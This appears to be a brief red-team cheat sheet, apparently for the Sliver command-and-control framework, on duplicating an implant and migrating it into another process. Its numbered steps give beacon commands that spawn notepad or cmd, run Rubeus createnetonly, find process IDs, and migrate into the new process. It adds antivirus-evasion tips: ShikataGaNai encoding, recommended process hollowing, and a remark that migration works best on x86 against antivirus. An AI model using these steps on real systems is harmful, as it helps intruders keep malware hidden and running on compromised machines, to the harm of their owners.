Implant Duplication and Migration
1) Launch either x64 or x86 version of notepad according to beacon process
execute C:\\windows\\system32\\notepad.exe
execute -T notepad
execute C:\\windows\\SysWOW64\\notepad.exe2) Launching process with Rubeus
rubeus -t 20 -- createnetonly /program:C:\\windows\\SysWOW64\\notepad.exe
rubeus -t 20 -- createnetonly /program:C:\\windows\\system32\\cmd.exe3) Get process pid (usually last process)
ps -e notepad4) Get explorer's pid for stability
ps -e explorer5) Migrate into the created process (two ways, migrate or execute-shellcode)
migrate -p 3532TIP: Works best on x86 with AV
6) x64 - ShikataGaNai
7) Process hollowing (recommended)
8) x86 - Using -A or without, makes no difference, sliver automatically detects the arch for 32 bit
Last updated